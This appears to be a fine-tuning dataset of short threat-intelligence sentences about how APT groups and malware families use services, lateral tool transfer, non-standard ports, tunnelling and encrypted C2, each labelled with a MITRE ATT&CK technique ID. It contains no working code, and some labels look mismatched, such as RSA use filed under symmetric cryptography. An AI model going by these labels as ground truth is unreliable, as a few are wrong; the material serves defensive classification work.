TA551 has used a DGA to generate URLs from executed macros.,['T1568.002 - Domain Generation Algorithms'],fine_tune
TeamTNT has created system services to execute cryptocurrency mining software.,['T1569 - System Services'],fine_tune
"AppleJeus has loaded a plist file using the ""launchctl"" command.",['T1569.001 - System Services: Launchctl'],fine_tune
Calisto uses launchctl to enable screen sharing on the victim’s machine.,['T1569.001 - System Services: Launchctl'],fine_tune
"XCSSET loads a system level launchdaemon using the ""launchctl load -w"" command from ""/System/Librarby/LaunchDaemons/ssh.plist"".",['T1569.001 - System Services: Launchctl'],fine_tune
macOS.OSAMiner has used `launchctl` to restart the Launch Agent.,['T1569.001 - System Services: Launchctl'],fine_tune
"APT38 has created new services or modified existing ones to run executables, commands, or scripts.",['T1569.002 - System Services: Service Execution'],fine_tune
APT39 has used post-exploitation tools including RemCom and the Non-sucking Service Manager (NSSM) to execute processes.,['T1569.002 - System Services: Service Execution'],fine_tune
APT41 used  svchost.exe and Net to execute a system service installed to launch a Cobalt Strike BEACON loader.,['T1569.002 - System Services: Service Execution'],fine_tune
Anchor can create and execute services to load its payload.,['T1569.002 - System Services: Service Execution'],fine_tune
Chimera has used PsExec to deploy beacons on compromised systems.,['T1569.002 - System Services: Service Execution'],fine_tune
Cobalt Strike can use PsExec to execute a payload on a remote host. It can also use Service Control Manager to start new services.,['T1569.002 - System Services: Service Execution'],fine_tune
"During Operation Honeybee, threat actors ran ""sc start"" to start the COMSysApp as part of the service hijacking and ""sc stop"" to stop and reconfigure the COMSysApp.",['T1569.002 - System Services: Service Execution'],fine_tune
"During Operation Wocao, threat actors created services on remote systems for execution purposes.",['T1569.002 - System Services: Service Execution'],fine_tune
Empire can use PsExec to execute a payload on a remote host.,['T1569.002 - System Services: Service Execution'],fine_tune
FIN6 has created Windows services to execute encoded PowerShell commands.,['T1569.002 - System Services: Service Execution'],fine_tune
HOPLIGHT has used svchost.exe to execute a malicious DLL .,['T1569.002 - System Services: Service Execution'],fine_tune
HermeticWiper can create system services to aid in executing the payload.,['T1569.002 - System Services: Service Execution'],fine_tune
HermeticWizard can use `OpenRemoteServiceManager` to create a service.,['T1569.002 - System Services: Service Execution'],fine_tune
Honeybee launches a DLL file that gets executed as a service using svchost.exe,['T1569.002 - System Services: Service Execution'],fine_tune
Hydraq uses svchost.exe to execute a malicious DLL included in a new service group.,['T1569.002 - System Services: Service Execution'],fine_tune
HyperBro has the ability to start and stop a specified service.,['T1569.002 - System Services: Service Execution'],fine_tune
Impacket contains various modules emulating other service execution tools such as PsExec.,['T1569.002 - System Services: Service Execution'],fine_tune
InvisiMole has used Windows services as a way to execute its malicious payload.,['T1569.002 - System Services: Service Execution'],fine_tune
Ke3chang has used a tool known as RemoteExec (similar to PsExec) to remotely execute batch scripts and binaries.,['T1569.002 - System Services: Service Execution'],fine_tune
Koadic can run a command on another machine using PsExec.,['T1569.002 - System Services: Service Execution'],fine_tune
LoudMiner started the cryptomining virtual machine as a service on the infected machine.,['T1569.002 - System Services: Service Execution'],fine_tune
NotPetya can use PsExec to help propagate itself across a network.,['T1569.002 - System Services: Service Execution'],fine_tune
Okrum's loader can create a new service named NtmsSvc to execute the payload.,['T1569.002 - System Services: Service Execution'],fine_tune
Olympic Destroyer utilizes PsExec to help propagate itself across a network.,['T1569.002 - System Services: Service Execution'],fine_tune
Operation Wocao has created services on remote systems for execution purposes.,['T1569.002 - System Services: Service Execution'],fine_tune
PoshC2 contains an implementation of PsExec for remote execution.,['T1569.002 - System Services: Service Execution'],fine_tune
Proxysvc registers itself as a service on the victim’s machine to run as a standalone process.,['T1569.002 - System Services: Service Execution'],fine_tune
Pupy uses PsExec to execute a payload or commands on a remote host.,['T1569.002 - System Services: Service Execution'],fine_tune
RemoteCMD can execute commands remotely by creating a new service on the remote system.,['T1569.002 - System Services: Service Execution'],fine_tune
Shamoon creates a new service named “ntssrv” to execute the payload. Shamoon can also spread via PsExec.,['T1569.002 - System Services: Service Execution'],fine_tune
SysUpdate can manage services and processes.,['T1569.002 - System Services: Service Execution'],fine_tune
"The ""net start"" and ""net stop"" commands can be used in Net to execute or stop Windows services.",['T1569.002 - System Services: Service Execution'],fine_tune
TinyTurla can install itself as a service on compromised machines.,['T1569.002 - System Services: Service Execution'],fine_tune
WastedLocker can execute itself as a service.,['T1569.002 - System Services: Service Execution'],fine_tune
"Winexe installs a service on the remote system, executes the command, then uninstalls the service.",['T1569.002 - System Services: Service Execution'],fine_tune
Winnti for Windows can run as a service using svchost.exe.,['T1569.002 - System Services: Service Execution'],fine_tune
Wizard Spider has used services.exe to execute scripts and executables during lateral movement within a victim network.,['T1569.002 - System Services: Service Execution'],fine_tune
APT32 has deployed tools after moving laterally using administrative accounts.,['T1570 - Lateral Tool Transfer'],fine_tune
Aoqin Dragon has spread malware in target networks by copying modules to folders masquerading as removable devices.,['T1570 - Lateral Tool Transfer'],fine_tune
BITSAdmin can be used to create BITS Jobs to upload and/or download files from SMB file servers.,['T1570 - Lateral Tool Transfer'],fine_tune
Chimera has copied tools between compromised hosts using SMB.,['T1570 - Lateral Tool Transfer'],fine_tune
"During C0015, the threat actors used WMI to load Cobalt Strike onto additional hosts within a compromised network.",['T1570 - Lateral Tool Transfer'],fine_tune
DustySky searches for network drives and removable media and duplicates itself onto them.,['T1570 - Lateral Tool Transfer'],fine_tune
Expand can be used to download or upload a file over a network share.,['T1570 - Lateral Tool Transfer'],fine_tune
FIN10 has deployed Meterpreter stagers and SplinterRAT instances in the victim network after moving laterally.,['T1570 - Lateral Tool Transfer'],fine_tune
GALLIUM has used PsExec to move laterally between hosts in the target network.,['T1570 - Lateral Tool Transfer'],fine_tune
HermeticWizard can copy files to other machines on a compromised network.,['T1570 - Lateral Tool Transfer'],fine_tune
Kerrdown can download additional software including Cobalt Strike from servers on the victim's network.,['T1570 - Lateral Tool Transfer'],fine_tune
"LockerGoga has been observed moving around the victim network via SMB, indicating the actors behind this ransomware are manually copying files form computer to computer instead of self-propagating.",['T1570 - Lateral Tool Transfer'],fine_tune
Olympic Destroyer attempts to copy itself to remote machines on the network.,['T1570 - Lateral Tool Transfer'],fine_tune
Operation Wocao has used SMB to copy files to and from target systems.,['T1570 - Lateral Tool Transfer'],fine_tune
PsExec can be used to download or upload a file over a network share.,['T1570 - Lateral Tool Transfer'],fine_tune
Sandworm Team has used `move` to transfer files to a network share.,['T1570 - Lateral Tool Transfer'],fine_tune
Shamoon attempts to copy itself to remote machines on the network.,['T1570 - Lateral Tool Transfer'],fine_tune
Stuxnet uses an RPC server that contains a file dropping routine and support for payload version updates for P2P communications within a victim network.,['T1570 - Lateral Tool Transfer'],fine_tune
Turla RPC backdoors can be used to transfer files to/from victim machines on the local network.,['T1570 - Lateral Tool Transfer'],fine_tune
WannaCry attempts to copy itself to remote computers after gaining access via an SMB exploit.,['T1570 - Lateral Tool Transfer'],fine_tune
"Wizard Spider has used stolen credentials to copy tools into the ""%TEMP%"" directory of domain controllers.",['T1570 - Lateral Tool Transfer'],fine_tune
cmd can be used to copy files to/from a remotely connected internal system.,['T1570 - Lateral Tool Transfer'],fine_tune
esentutl can be used to copy files to/from a remote share.,['T1570 - Lateral Tool Transfer'],fine_tune
ftp may be abused by adversaries to transfer tools or files between systems within a compromised environment.,['T1570 - Lateral Tool Transfer'],fine_tune
APT-C-36 has used port 4050 for C2 communications.,['T1571 - Non-Standard Port'],fine_tune
APT33 has used HTTP over TCP ports 808 and 880 for command and control.,['T1571 - Non-Standard Port'],fine_tune
An APT32 backdoor can use HTTP over a non-standard TCP port (e.g 14146) which is specified in the backdoor configuration.,['T1571 - Non-Standard Port'],fine_tune
BADCALL communicates on ports 443 and 8000 with a FakeTLS method.,['T1571 - Non-Standard Port'],fine_tune
Bankshot binds and listens on port 1058 for HTTP traffic while also utilizing a FakeTLS method.,['T1571 - Non-Standard Port'],fine_tune
BendyBear has used a custom RC4 and XOR encrypted protocol over port 443 for C2.,['T1571 - Non-Standard Port'],fine_tune
Cyclops Blink can use non-standard ports for C2 not typically associated with HTTP or HTTPS traffic.,['T1571 - Non-Standard Port'],fine_tune
"DarkVishnya used ports 5190 and 7900 for shellcode listeners, and 4444, 4445, 31337 for shellcode C2.",['T1571 - Non-Standard Port'],fine_tune
Derusbi has used unencrypted HTTP on port 443 for C2.,['T1571 - Non-Standard Port'],fine_tune
"Emotet has used HTTP over ports such as 20, 22, 7080, and 50000, in addition to using ports commonly associated with HTTP/S.",['T1571 - Non-Standard Port'],fine_tune
"FIN7 has used port-protocol mismatches on ports such as 53, 80, 443, and 8080 during C2.",['T1571 - Non-Standard Port'],fine_tune
"GoldenSpy has used HTTP over ports 9005 and 9006 for network traffic, 9002 for C2 requests, 33666 as a WebSocket, and 8090 to download files.",['T1571 - Non-Standard Port'],fine_tune
"GravityRAT has used HTTP over a non-standard port, such as TCP port 46769.",['T1571 - Non-Standard Port'],fine_tune
HARDRAIN binds and listens on port 443 with a FakeTLS method.,['T1571 - Non-Standard Port'],fine_tune
HOPLIGHT has connected outbound over TCP port 443 with a FakeTLS method.,['T1571 - Non-Standard Port'],fine_tune
Magic Hound malware has communicated with its C2 server over TCP port 4443 using HTTP.,['T1571 - Non-Standard Port'],fine_tune
Metamorfo has communicated with hosts over raw TCP on port 9999.,['T1571 - Non-Standard Port'],fine_tune
PoetRAT used TLS to encrypt communications over port 143,['T1571 - Non-Standard Port'],fine_tune
QuasarRAT can use port 4782 on the compromised host for TCP callbacks.,['T1571 - Non-Standard Port'],fine_tune
RTM used Port 44443 for its VNC module.,['T1571 - Non-Standard Port'],fine_tune
Rocke's miner connects to a C2 server using port 51640.,['T1571 - Non-Standard Port'],fine_tune
Sandworm Team has used port 6789 to accept connections on the group's SSH server.,['T1571 - Non-Standard Port'],fine_tune
"Some Lazarus Group malware uses a list of ordered port numbers to choose a port for C2 traffic, creating port-protocol mismatches.",['T1571 - Non-Standard Port'],fine_tune
"TEMP.Veles has used port-protocol mismatches on ports such as 443, 4444, 8531, and 50501 during C2.",['T1571 - Non-Standard Port'],fine_tune
"TYPEFRAME has used ports 443, 8080, and 8443 with a FakeTLS method.",['T1571 - Non-Standard Port'],fine_tune
WIRTE has used HTTPS over ports 2083 and 2087 for C2.,['T1571 - Non-Standard Port'],fine_tune
"WellMail has been observed using TCP port 25, without using SMTP, to leverage an open port for secure command and control communications.",['T1571 - Non-Standard Port'],fine_tune
Chimera has encapsulated Cobalt Strike's C2 protocol in DNS and HTTPS.,['T1572 - Protocol Tunneling'],fine_tune
Cobalt Group has used the Plink utility to create SSH tunnels.,"['T1572 - Protocol Tunneling', 'T1573.002 - Asymmetric Cryptography']",fine_tune
CostaRicto has set up remote SSH tunneling into the victim's environment from a malicious domain.,['T1572 - Protocol Tunneling'],fine_tune
Cyclops Blink can use DNS over HTTPS (DoH) to resolve C2 nodes.,['T1572 - Protocol Tunneling'],fine_tune
"During CostaRicto, the threat actors set up remote SSH tunneling into the victim's environment from a malicious domain.",['T1572 - Protocol Tunneling'],fine_tune
FIN6 used the Plink command-line utility to create SSH tunnels to C2 servers.,"['T1572 - Protocol Tunneling', 'T1573.002 - Asymmetric Cryptography']",fine_tune
Heyoka Backdoor can use spoofed DNS requests to create a bidirectional tunnel between a compromised host and its C2 servers.,['T1572 - Protocol Tunneling'],fine_tune
Industroyer attempts to perform an HTTP CONNECT via an internal proxy to establish a tunnel.,['T1572 - Protocol Tunneling'],fine_tune
Kevin can use a custom protocol tunneled through DNS or HTTP.,['T1572 - Protocol Tunneling'],fine_tune
Milan can use a custom protocol tunneled through DNS or HTTP.,['T1572 - Protocol Tunneling'],fine_tune
Mythic can use SOCKS proxies to tunnel traffic through another protocol.,['T1572 - Protocol Tunneling'],fine_tune
Ngrok can tunnel RDP and other services securely over internet connections.,['T1572 - Protocol Tunneling'],fine_tune
OilRig has used the Plink utility and other tools to create tunnels to C2 servers.,['T1572 - Protocol Tunneling'],fine_tune
The QakBot proxy module can encapsulate SOCKS5 protocol within its own proxy protocol.,['T1572 - Protocol Tunneling'],fine_tune
APT29 has used multiple layers of encryption within malware to protect C2 communication.,['T1573 - Encrypted Channel'],fine_tune
BITTER has encrypted their C2 communications.,['T1573 - Encrypted Channel'],fine_tune
Cryptoistic can engage in encrypted communications with C2.,['T1573 - Encrypted Channel'],fine_tune
Lizar can support encrypted communications between the client and server.,['T1573 - Encrypted Channel'],fine_tune
NETWIRE can encrypt C2 communications.,['T1573 - Encrypted Channel'],fine_tune
PowGoop can receive encrypted commands from C2.,['T1573 - Encrypted Channel'],fine_tune
PowerLess can use an encrypted channel for C2 communications.,['T1573 - Encrypted Channel'],fine_tune
RCSession can use an encrypted beacon to check in with C2.,['T1573 - Encrypted Channel'],fine_tune
Tropic Trooper has encrypted traffic with the C2 to prevent network detection.,['T1573 - Encrypted Channel'],fine_tune
gh0st RAT has encrypted TCP communications to evade detection.,['T1573 - Encrypted Channel'],fine_tune
A variant of ADVSTORESHELL encrypts some C2 with 3DES.,['T1573.001 - Symmetric Cryptography'],fine_tune
"APT12 has used the RIPTIDE RAT, which communicates over HTTP with a payload encrypted with RC4.",['T1573.001 - Symmetric Cryptography'],fine_tune
APT28 installed a Delphi backdoor that used a custom algorithm for C2 communications.,['T1573.001 - Symmetric Cryptography'],fine_tune
APT33 has used AES for encryption of command and control traffic.,['T1573.001 - Symmetric Cryptography'],fine_tune
Attor has encrypted data symmetrically using a randomly generated Blowfish (OFB) key which is encrypted with a public RSA key.,['T1573.001 - Symmetric Cryptography'],fine_tune
Azorult can encrypt C2 traffic using XOR.,['T1573.001 - Symmetric Cryptography'],fine_tune
BADCALL encrypts C2 traffic using an XOR/ADD cipher.,['T1573.001 - Symmetric Cryptography'],fine_tune
BADNEWS encrypts C2 data with a ROR by 3 and an XOR by 0x23.,['T1573.001 - Symmetric Cryptography'],fine_tune
BBSRAT uses a custom encryption algorithm on data sent back to the C2 server over HTTP.,['T1573.001 - Symmetric Cryptography'],fine_tune
BLINDINGCAN has encrypted its C2 traffic with RC4.,['T1573.001 - Symmetric Cryptography'],fine_tune
BRONZE BUTLER has used RC4 encryption (for Datper malware) and AES (for xxmm malware) to obfuscate HTTP traffic. BRONZE BUTLER has also used a tool called RarStar that encodes data with a custom XOR algorithm when posting it to a C2 server.,['T1573.001 - Symmetric Cryptography'],fine_tune
Bandook has used AES encryption for C2 communication.,['T1573.001 - Symmetric Cryptography'],fine_tune
Bazar can send C2 communications with XOR encryption.,['T1573.001 - Symmetric Cryptography'],fine_tune
"Before being appended to image files, HAMMERTOSS commands are encrypted with a key composed of both a hard-coded value and a string contained on that day's tweet. To decrypt the commands, an investigator would need access to the intended malware sample, the day's tweet, and the image file containing the command.",['T1573.001 - Symmetric Cryptography'],fine_tune
Bisonal variants reported on in 2014 and 2015 used a simple XOR cipher for C2. Some Bisonal samples encrypt C2 communications with RC4.,['T1573.001 - Symmetric Cryptography'],fine_tune
Bonadan can XOR-encrypt C2 communications.,['T1573.001 - Symmetric Cryptography'],fine_tune
Bumblebee can encrypt C2 requests and responses with RC4,['T1573.001 - Symmetric Cryptography'],fine_tune
CHOPSTICK encrypts C2 communications with RC4.,['T1573.001 - Symmetric Cryptography'],fine_tune
CORESHELL C2 messages are encrypted with custom stream ciphers using six-byte or eight-byte keys.,['T1573.001 - Symmetric Cryptography'],fine_tune
CallMe uses AES to encrypt C2 traffic.,['T1573.001 - Symmetric Cryptography'],fine_tune
Carbanak encrypts the message body of HTTP traffic with RC2 (in CBC mode). Carbanak also uses XOR with random keys for its communications.,['T1573.001 - Symmetric Cryptography'],fine_tune
ChChes can encrypt C2 traffic with AES or RC4.,['T1573.001 - Symmetric Cryptography'],fine_tune
Cobalt Strike has the ability to use AES-256 symmetric encryption in CBC mode with HMAC-SHA-256 to encrypt task commands and XOR to encrypt shell code and configuration data.,['T1573.001 - Symmetric Cryptography'],fine_tune
Comnie encrypts command and control communications with RC4.,['T1573.001 - Symmetric Cryptography'],fine_tune
CosmicDuke contains a custom version of the RC4 algorithm that includes a programming error.,['T1573.001 - Symmetric Cryptography'],fine_tune
Darkhotel has used AES-256 and 3DES for C2 communications.,['T1573.001 - Symmetric Cryptography'],fine_tune
Dipsind encrypts C2 data with AES256 in ECB mode.,['T1573.001 - Symmetric Cryptography'],fine_tune
Dridex has encrypted traffic with RC4.,['T1573.001 - Symmetric Cryptography'],fine_tune
"During Frankenstein, the threat actors communicated with C2 via an encrypted RC4 byte stream and AES-CBC.",['T1573.001 - Symmetric Cryptography'],fine_tune
"Ebury has encrypted C2 traffic using the client IP address, then encoded it as a hexadecimal string.",['T1573.001 - Symmetric Cryptography'],fine_tune
Elise encrypts exfiltrated data with RC4.,['T1573.001 - Symmetric Cryptography'],fine_tune
Epic encrypts commands from the C2 server using a hardcoded key.,['T1573.001 - Symmetric Cryptography'],fine_tune
FALLCHILL encrypts C2 data with RC4 encryption.,['T1573.001 - Symmetric Cryptography'],fine_tune
FatDuke can AES encrypt C2 communications.,['T1573.001 - Symmetric Cryptography'],fine_tune
FlawedAmmyy has used SEAL encryption during the initial C2 handshake.,['T1573.001 - Symmetric Cryptography'],fine_tune
FoggyWeb has used a dynamic XOR key and custom XOR methodology for C2 communications.,['T1573.001 - Symmetric Cryptography'],fine_tune
Frankenstein has communicated with a C2 via an encrypted RC4 byte stream and AES-CBC.,['T1573.001 - Symmetric Cryptography'],fine_tune
Gazer uses custom encryption for C2 that uses 3DES.,['T1573.001 - Symmetric Cryptography'],fine_tune
GreyEnergy encrypts communications using AES256.,['T1573.001 - Symmetric Cryptography'],fine_tune
GrimAgent can use an AES key to encrypt C2 communications.,['T1573.001 - Symmetric Cryptography'],fine_tune
H1N1 encrypts C2 traffic using an RC4 key.,['T1573.001 - Symmetric Cryptography'],fine_tune
Helminth encrypts data sent to its C2 server over HTTP with RC4.,['T1573.001 - Symmetric Cryptography'],fine_tune
HiddenWasp uses an RC4-like algorithm with an already computed PRGA generated key-stream for network communication.,['T1573.001 - Symmetric Cryptography'],fine_tune
Higaisa used AES-128 to encrypt C2 traffic.,['T1573.001 - Symmetric Cryptography'],fine_tune
Hikit performs XOR encryption.,['T1573.001 - Symmetric Cryptography'],fine_tune
HyperStack has used RSA encryption for C2 communications.,['T1573.001 - Symmetric Cryptography'],fine_tune
KEYMARBLE uses a customized XOR algorithm to encrypt C2 communications.,['T1573.001 - Symmetric Cryptography'],fine_tune
Kobalos's post-authentication communication channel uses a 32-byte-long password with RC4 for inbound and outbound traffic.,['T1573.001 - Symmetric Cryptography'],fine_tune
LightNeuron uses AES to encrypt C2 traffic.,['T1573.001 - Symmetric Cryptography'],fine_tune
LookBack uses a modified version of RC4 for data transfer.,['T1573.001 - Symmetric Cryptography'],fine_tune
Lucifer can perform a decremental-xor encryption on the initial C2 request before sending it over the wire.,['T1573.001 - Symmetric Cryptography'],fine_tune
Lurid performs XOR encryption.,['T1573.001 - Symmetric Cryptography'],fine_tune
Machete has used AES to exfiltrate documents.,['T1573.001 - Symmetric Cryptography'],fine_tune
Metamorfo has encrypted C2 commands with AES-256.,['T1573.001 - Symmetric Cryptography'],fine_tune
More_eggs has used an RC4-based encryption method for its C2 communications.,['T1573.001 - Symmetric Cryptography'],fine_tune
"Mosquito uses a custom encryption algorithm, which consists of XOR and a stream that is similar to the Blum Blum Shub algorithm.",['T1573.001 - Symmetric Cryptography'],fine_tune
MuddyWater has used AES to encrypt C2 responses.,['T1573.001 - Symmetric Cryptography'],fine_tune
Mustang Panda has encrypted C2 communications with RC4.,['T1573.001 - Symmetric Cryptography'],fine_tune
NDiskMonitor uses AES to encrypt certain information sent over its C2 channel.,['T1573.001 - Symmetric Cryptography'],fine_tune
"NETEAGLE will decrypt resources it downloads with HTTP requests by using RC4 with the key ""ScoutEagle.""",['T1573.001 - Symmetric Cryptography'],fine_tune
NETWIRE can use AES encryption for C2 data transferred.,['T1573.001 - Symmetric Cryptography'],fine_tune
NanoCore uses DES to encrypt the C2 traffic.,['T1573.001 - Symmetric Cryptography'],fine_tune
PLAINTEE encodes C2 beacons using XOR.,['T1573.001 - Symmetric Cryptography'],fine_tune
PLEAD has used RC4 encryption to download modules.,['T1573.001 - Symmetric Cryptography'],fine_tune
POWERTON has used AES for encrypting C2 traffic.,['T1573.001 - Symmetric Cryptography'],fine_tune
Pandora has the ability to encrypt communications with D3DES.,['T1573.001 - Symmetric Cryptography'],fine_tune
"PingPull can use AES, in cipher block chaining (CBC) mode padded with PKCS5, to encrypt C2 server communications.",['T1573.001 - Symmetric Cryptography'],fine_tune
PlugX can use RC4 encryption in C2 communications.,['T1573.001 - Symmetric Cryptography'],fine_tune
PoisonIvy uses the Camellia cipher to encrypt communications.,['T1573.001 - Symmetric Cryptography'],fine_tune
Prikormka encrypts some C2 traffic with the Blowfish cipher.,['T1573.001 - Symmetric Cryptography'],fine_tune
QuasarRAT uses AES with a hardcoded pre-shared key to encrypt network communication.,['T1573.001 - Symmetric Cryptography'],fine_tune
RDAT has used AES ciphertext to encode C2 communications.,['T1573.001 - Symmetric Cryptography'],fine_tune
RainyDay can use RC4 to encrypt C2 communications.,['T1573.001 - Symmetric Cryptography'],fine_tune
Rifdoor has encrypted command and control (C2) communications with a stream cipher.,['T1573.001 - Symmetric Cryptography'],fine_tune
SeaDuke C2 traffic has been encrypted with RC4 and AES.,['T1573.001 - Symmetric Cryptography'],fine_tune
Several Lazarus Group malware families encrypt C2 traffic using custom code that uses XOR with an ADD operation and XOR with a SUB operation. Another Lazarus Group malware sample XORs C2 traffic. Other Lazarus Group malware uses Caracachs encryption to encrypt C2 payloads. Lazarus Group has also used AES to encrypt C2 traffic.,['T1573.001 - Symmetric Cryptography'],fine_tune
SideTwist can encrypt C2 communications with a randomly generated key.,['T1573.001 - Symmetric Cryptography'],fine_tune
Sliver can use AES-GCM-256 to encrypt a session key for C2 message exchange.,['T1573.001 - Symmetric Cryptography'],fine_tune
SodaMaster can use RC4 to encrypt C2 communications.,['T1573.001 - Symmetric Cryptography'],fine_tune
SombRAT has encrypted its C2 communications with AES.,['T1573.001 - Symmetric Cryptography'],fine_tune
Some Felismus samples use a custom encryption method for C2 traffic that utilizes AES and multiple keys.,['T1573.001 - Symmetric Cryptography'],fine_tune
Some versions of UPPERCUT have used the hard-coded string “this is the encrypt key” for Blowfish encryption when communicating with a C2. Later versions have hard-coded keys uniquely for each C2 address.,['T1573.001 - Symmetric Cryptography'],fine_tune
Stealth Falcon malware encrypts C2 traffic using RC4 with a hard-coded key.,['T1573.001 - Symmetric Cryptography'],fine_tune
StrifeWater can encrypt C2 traffic using XOR with a hard coded key.,['T1573.001 - Symmetric Cryptography'],fine_tune
Stuxnet encodes the payload of system information sent to the command and control servers using a one byte 0xFF XOR key. Stuxnet also uses a 31-byte long static byte string to XOR data sent to command and control servers. The servers use a different static key to encrypt replies to the implant.,['T1573.001 - Symmetric Cryptography'],fine_tune
Sys10 uses an XOR 0x1 loop to encrypt its C2 domain.,['T1573.001 - Symmetric Cryptography'],fine_tune
TAINTEDSCRIBE uses a Linear Feedback Shift Register (LFSR) algorithm for network encryption.,['T1573.001 - Symmetric Cryptography'],fine_tune
TSCookie has encrypted network communications with RC4.,['T1573.001 - Symmetric Cryptography'],fine_tune
Taidoor uses RC4 to encrypt the message body of HTTP content.,['T1573.001 - Symmetric Cryptography'],fine_tune
The Duqu command and control protocol's data stream can be encrypted with AES-CBC.,['T1573.001 - Symmetric Cryptography'],fine_tune
The IceApple Result Retriever module can AES encrypt C2 responses.,['T1573.001 - Symmetric Cryptography'],fine_tune
The original variant of FakeM encrypts C2 traffic using a custom encryption cipher that uses an XOR key of “YHCRA” and bit rotation between each XOR operation. Some variants of FakeM use RC4 to encrypt C2 traffic.,['T1573.001 - Symmetric Cryptography'],fine_tune
Volgmer uses a simple XOR cipher to encrypt traffic and files.,['T1573.001 - Symmetric Cryptography'],fine_tune
WarzoneRAT can encrypt its C2 with RC4 with the password `warzone160\x00`.,['T1573.001 - Symmetric Cryptography'],fine_tune
Winnti for Linux has used a custom TCP protocol with four-byte XOR for command and control (C2).,['T1573.001 - Symmetric Cryptography'],fine_tune
Winnti for Windows can XOR encrypt C2 traffic.,['T1573.001 - Symmetric Cryptography'],fine_tune
XCSSET uses RC4 encryption over TCP to communicate with its C2 server.,['T1573.001 - Symmetric Cryptography'],fine_tune
ZeroT has used RC4 to encrypt C2 traffic.,['T1573.001 - Symmetric Cryptography'],fine_tune
down_new has the ability to AES encrypt C2 communications.,['T1573.001 - Symmetric Cryptography'],fine_tune
gh0st RAT uses RC4 and XOR to encrypt C2 traffic.,['T1573.001 - Symmetric Cryptography'],fine_tune
"httpclient encrypts C2 content with XOR using a single byte, 0x12.",['T1573.001 - Symmetric Cryptography'],fine_tune
xCaon has encrypted data sent to the C2 server using a XOR key.,['T1573.001 - Symmetric Cryptography'],fine_tune
Attor's Blowfish key is encrypted with a public RSA key.,['T1573.002 - Asymmetric Cryptography'],fine_tune
BISCUIT uses SSL for encrypting C2 communications.,['T1573.002 - Asymmetric Cryptography'],fine_tune
Bazar can use TLS in C2 communications.,['T1573.002 - Asymmetric Cryptography'],fine_tune
CHOPSTICK encrypts C2 communications with TLS.,['T1573.002 - Asymmetric Cryptography'],fine_tune
Cobalt Strike can use RSA asymmetric encryption with PKCS1 padding to encrypt data sent to the C2 server.,['T1573.002 - Asymmetric Cryptography'],fine_tune
DarkWatchman can use TLS to encrypt its C2 channel.,['T1573.002 - Asymmetric Cryptography'],fine_tune
Dridex has encrypted traffic with RSA.,['T1573.002 - Asymmetric Cryptography'],fine_tune
"During Operation Wocao, threat actors' proxy implementation ""Agent"" upgraded the socket in use to a TLS socket.",['T1573.002 - Asymmetric Cryptography'],fine_tune
Empire can use TLS to encrypt its C2 channel.,['T1573.002 - Asymmetric Cryptography'],fine_tune
FIN8 has used the Plink utility to tunnel RDP back to C2 infrastructure.,['T1573.002 - Asymmetric Cryptography'],fine_tune
GoldMax has RSA-encrypted its communication with the C2 server.,['T1573.002 - Asymmetric Cryptography'],fine_tune
GreyEnergy encrypts communications using RSA-2048.,['T1573.002 - Asymmetric Cryptography'],fine_tune
GrimAgent can use a hardcoded server public RSA key to encrypt the first request to C2.,['T1573.002 - Asymmetric Cryptography'],fine_tune
Hi-Zor encrypts C2 traffic with TLS.,['T1573.002 - Asymmetric Cryptography'],fine_tune
IcedID has used SSL and TLS in communications with C2.,['T1573.002 - Asymmetric Cryptography'],fine_tune
Kobalos's authentication and key exchange is performed using RSA-512.,['T1573.002 - Asymmetric Cryptography'],fine_tune
Machete has used TLS-encrypted FTP to exfiltrate data.,['T1573.002 - Asymmetric Cryptography'],fine_tune
Metamorfo's C2 communication has been encrypted using OpenSSL.,['T1573.002 - Asymmetric Cryptography'],fine_tune
OilRig used the Plink utility and other tools to create tunnels to C2 servers.,['T1573.002 - Asymmetric Cryptography'],fine_tune
POSHSPY encrypts C2 traffic with AES and RSA.,['T1573.002 - Asymmetric Cryptography'],fine_tune
POWERSTATS has encrypted C2 traffic with RSA.,['T1573.002 - Asymmetric Cryptography'],fine_tune
Pay2Key has used RSA encrypted communications with C2.,['T1573.002 - Asymmetric Cryptography'],fine_tune
Penquin can encrypt communications using the BlowFish algorithm and a symmetric key exchanged with Diffie Hellman.,['T1573.002 - Asymmetric Cryptography'],fine_tune
PoetRAT used TLS to encrypt command and control (C2) communications.,['T1573.002 - Asymmetric Cryptography'],fine_tune
"Pupy's default encryption for its C2 communication channel is SSL, but it also has transport options for RSA and AES.",['T1573.002 - Asymmetric Cryptography'],fine_tune
REvil has encrypted C2 communications with the ECIES algorithm.,['T1573.002 - Asymmetric Cryptography'],fine_tune
Rising Sun variants can use SSL for encrypting C2 communications.,['T1573.002 - Asymmetric Cryptography'],fine_tune
Sliver can use mutual TLS and RSA  cryptography to exchange a session key.,['T1573.002 - Asymmetric Cryptography'],fine_tune
Small Sieve can use SSL/TLS for its HTTPS Telegram Bot API-based C2 channel.,['T1573.002 - Asymmetric Cryptography'],fine_tune
SombRAT can SSL encrypt C2 traffic.,['T1573.002 - Asymmetric Cryptography'],fine_tune
Some Volgmer variants use SSL to encrypt C2 communications.,['T1573.002 - Asymmetric Cryptography'],fine_tune
StrongPity has encrypted C2 traffic using SSL/TLS.,['T1573.002 - Asymmetric Cryptography'],fine_tune
Sykipot uses SSL for encrypting C2 communications.,['T1573.002 - Asymmetric Cryptography'],fine_tune
TinyTurla has the ability to encrypt C2 traffic with SSL/TLS.,['T1573.002 - Asymmetric Cryptography'],fine_tune
Trojan.Karagany can secure C2 communications with SSL and TLS.,['T1573.002 - Asymmetric Cryptography'],fine_tune
Tropic Trooper has used SSL to connect to C2 servers.,['T1573.002 - Asymmetric Cryptography'],fine_tune
WannaCry uses Tor for command and control traffic and routes a custom cryptographic protocol over the Tor circuit.,['T1573.002 - Asymmetric Cryptography'],fine_tune
WellMail can use hard coded client and certificate authority certificates to communicate with C2 over mutual TLS.,['T1573.002 - Asymmetric Cryptography'],fine_tune
WellMess can communicate to C2 with mutual TLS where client and server mutually check certificates.,['T1573.002 - Asymmetric Cryptography'],fine_tune
XTunnel uses SSL/TLS and RC4 to encrypt traffic.,['T1573.002 - Asymmetric Cryptography'],fine_tune
Zebrocy uses SSL and AES ECB for encrypting C2 communications.,['T1573.002 - Asymmetric Cryptography'],fine_tune
adbupd contains a copy of the OpenSSL library to encrypt C2 traffic.,['T1573.002 - Asymmetric Cryptography'],fine_tune
ShimRat can hijack the cryptbase.dll within migwiz.exe to escalate privileges and bypass UAC controls.,['T1574 - Hijack Execution Flow'],fine_tune
A FinFisher variant uses DLL search order hijacking.,['T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking'],fine_tune
